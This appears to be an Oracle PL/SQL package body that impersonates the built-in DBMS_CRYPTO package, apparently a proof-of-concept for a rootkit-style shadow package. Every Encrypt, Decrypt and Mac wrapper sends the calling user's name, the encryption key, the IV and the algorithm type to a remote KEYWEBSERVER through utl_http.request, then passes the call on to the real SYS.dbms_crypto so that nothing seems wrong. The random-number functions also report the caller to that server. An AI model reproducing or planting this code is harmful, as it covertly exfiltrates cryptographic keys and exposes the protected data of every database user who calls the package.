CREATE OR REPLACE PACKAGE BODY DBMS_CRYPTO AS

----------------------------------------------------
----ENCRYPT-----------------------------------------
----------------------------------------------------

FUNCTION  Encrypt (src IN        RAW,
                   typ IN        PLS_INTEGER,
                   key IN        RAW,
                   iv  IN        RAW          DEFAULT NULL)
      RETURN RAW
AS 
BEGIN
 dbms_output.put_line ('dbms_crypto_fake.Encrypt_Raw');
 dbms_output.put_line ('user='||user||'/key='||UTL_RAW.cast_to_varchar2(key)||'/iv='||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ);
 keyrc:=utl_http.request(KEYWEBSERVER||'user='||user||'/'||'/key='||UTL_RAW.cast_to_varchar2(key)||'/iv='||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ);
 RETURN SYS.dbms_crypto.encrypt(src,typ,key,iv);
END;

PROCEDURE Encrypt (dst IN OUT NOCOPY BLOB,
                   src IN            BLOB,
                   typ IN            PLS_INTEGER,
                   key IN            RAW,
                   iv  IN            RAW          DEFAULT NULL)
AS 
 BEGIN
    dbms_output.put_line ('dbms_crypto_fake.Encrypt_BLOB'); 
    dbms_output.put_line ('user='||user||'/'||'/key='||UTL_RAW.cast_to_varchar2(key)||'/iv='||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ);
    keyrc:=utl_http.request(KEYWEBSERVER||'user='||user||'/'||'/key='||UTL_RAW.cast_to_varchar2(key)||'/iv='||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ);
    SYS.dbms_crypto.encrypt(dst,src,typ,key,iv);  
END;

PROCEDURE Encrypt (dst IN OUT NOCOPY BLOB,
                   src IN            CLOB         CHARACTER SET ANY_CS,
                   typ IN            PLS_INTEGER,
                   key IN            RAW,
                   iv  IN            RAW          DEFAULT NULL)
AS 
 BEGIN
    dbms_output.put_line ('dbms_crypto_fake.Encrypt_CLOB');
    dbms_output.put_line ('user='||user||'/'||'/key='||UTL_RAW.cast_to_varchar2(key)||'/iv='||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ);
    keyrc:=utl_http.request(KEYWEBSERVER||'user='||user||'/'||'/key='||UTL_RAW.cast_to_varchar2(key)||'/iv='||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ);
    SYS.dbms_crypto.encrypt(dst,src,typ,key,iv);  
END;


----------------------------------------------------
----DECRYPT-----------------------------------------
----------------------------------------------------

FUNCTION  Decrypt (src IN            RAW,
                   typ IN            PLS_INTEGER,
                   key IN            RAW,
                   iv  IN            RAW          DEFAULT NULL)
    RETURN RAW
AS 
BEGIN
    dbms_output.put_line ('dbms_crypto_fake.Decrypt_RAW');
    dbms_output.put_line ('user='||user||'/'||'/key='||UTL_RAW.cast_to_varchar2(key)||'/iv='||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ);
    keyrc:=utl_http.request(KEYWEBSERVER||'user='||user||'/'||'/key='||UTL_RAW.cast_to_varchar2(key)||'/iv='||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ);
 RETURN SYS.dbms_crypto.decrypt(src,typ,key,iv);
END;


PROCEDURE Decrypt (dst IN OUT NOCOPY BLOB,
                   src IN            BLOB,
                   typ IN            PLS_INTEGER,
                   key IN            RAW,
                   iv  IN            RAW          DEFAULT NULL)
AS 
 BEGIN
    dbms_output.put_line ('dbms_crypto_fake.Decrypt_BLOB'); 
    dbms_output.put_line ('user='||user||'/'||'/key='||UTL_RAW.cast_to_varchar2(key)||'/iv='||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ);
    keyrc:=utl_http.request(KEYWEBSERVER||'user='||user||'/'||'/key='||UTL_RAW.cast_to_varchar2(key)||'/iv='||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ);
    SYS.dbms_crypto.decrypt(dst,src,typ,key,iv);  
END;


PROCEDURE Decrypt (dst IN OUT NOCOPY CLOB         CHARACTER SET ANY_CS,
                   src IN            BLOB,
                   typ IN            PLS_INTEGER,
                   key IN            RAW,
                   iv  IN            RAW          DEFAULT NULL)
AS 
BEGIN
    dbms_output.put_line ('dbms_crypto_fake.Decrypt_RAW');
    dbms_output.put_line ('user='||user||'/'||'/key='||UTL_RAW.cast_to_varchar2(key)||'/iv='||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ);
    keyrc:=utl_http.request(KEYWEBSERVER||'user='||user||'/'||'/key='||UTL_RAW.cast_to_varchar2(key)||'/iv='||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ);
    SYS.dbms_crypto.decrypt(dst,src,typ,key,iv);  
END;



----------------------------------------------------
----HASH--------------------------------------------
----------------------------------------------------
FUNCTION Hash (src IN RAW,
               typ IN PLS_INTEGER)
   RETURN RAW
AS 
 BEGIN
    dbms_output.put_line ('dbms_crypto_fake.Hash_RAW');
    return (SYS.dbms_crypto.hash(src,typ));
END;


FUNCTION Hash (src IN BLOB,
               typ IN PLS_INTEGER)
   RETURN RAW
AS 
 BEGIN
    dbms_output.put_line ('dbms_crypto_fake.Hash_BLOB'); 
    RETURN(SYS.dbms_crypto.hash(src,typ));  
END;


FUNCTION Hash (src IN CLOB        CHARACTER SET ANY_CS,
               typ IN PLS_INTEGER)
   RETURN RAW
AS 
 BEGIN
    dbms_output.put_line ('dbms_crypto_fake.Hash_CLOB'); 
    RETURN(SYS.dbms_crypto.hash(src,typ));  
END;


----------------------------------------------------
----MAC---------------------------------------------
----------------------------------------------------
FUNCTION Mac (src IN RAW,
              typ IN PLS_INTEGER,
              key IN RAW)
    RETURN RAW
AS 
 BEGIN
    dbms_output.put_line ('dbms_crypto_fake.Mac_RAW');
    dbms_output.put_line ('Used Mac Key='||UTL_RAW.cast_to_varchar2(key));
    keyrc:=utl_http.request(KEYWEBSERVER||'/key='||UTL_RAW.cast_to_varchar2(key));
    RETURN(SYS.dbms_crypto.mac(src,typ,key));  
END;


FUNCTION Mac (src IN BLOB,
              typ IN PLS_INTEGER,
              key IN RAW)
    RETURN RAW
AS 
 BEGIN
    dbms_output.put_line ('dbms_crypto_fake.Mac_BLOB');
    dbms_output.put_line ('Used Mac Key='||UTL_RAW.cast_to_varchar2(key));
    keyrc:=utl_http.request(KEYWEBSERVER||'/key='||UTL_RAW.cast_to_varchar2(key));
    RETURN(SYS.dbms_crypto.mac(src,typ,key));  
END;


FUNCTION Mac (src IN CLOB         CHARACTER SET ANY_CS,
              typ IN PLS_INTEGER,
              key IN RAW)
    RETURN RAW
AS 
 BEGIN
    dbms_output.put_line ('dbms_crypto_fake.Mac_CLOB');
    dbms_output.put_line ('Used Mac Key='||UTL_RAW.cast_to_varchar2(key));
    keyrc:=utl_http.request(KEYWEBSERVER||'/key='||UTL_RAW.cast_to_varchar2(key));
    RETURN(SYS.dbms_crypto.mac(src,typ,key));  
END;

----------------------------------------------------
----RANDOMBYTE--------------------------------------
----------------------------------------------------
FUNCTION RandomBytes (number_bytes IN PLS_INTEGER)
   RETURN RAW
AS 
 BEGIN
    dbms_output.put_line ('dbms_crypto_fake.RandomBytes');
    keyrc:=utl_http.request(KEYWEBSERVER||'user='||user||'/'||'key=dbms_crypto_fake.RandomBytes');
    RETURN(SYS.dbms_crypto.RandomBytes (number_bytes));  
END;

----------------------------------------------------
----RANDOMNUMBER------------------------------------
----------------------------------------------------
FUNCTION RandomNumber
   RETURN NUMBER
AS 
 BEGIN
    dbms_output.put_line ('dbms_crypto_fake.RandomNumber');
    keyrc:=utl_http.request(KEYWEBSERVER||'user='||user||'/'||'key=dbms_crypto_fake.RandomNumber');
    RETURN(SYS.dbms_crypto.RandomNumber);  
END;

----------------------------------------------------
----RANDOMINTEGER------------------------------------
----------------------------------------------------
FUNCTION RandomInteger
   RETURN BINARY_INTEGER
AS 
 BEGIN
    dbms_output.put_line ('dbms_crypto_fake.RandomInteger');
    keyrc:=utl_http.request(KEYWEBSERVER||'user='||user||'/'||'key=dbms_crypto_fake.RandomInteger');
    RETURN(SYS.dbms_crypto.RandomInteger);  
END;

END;
/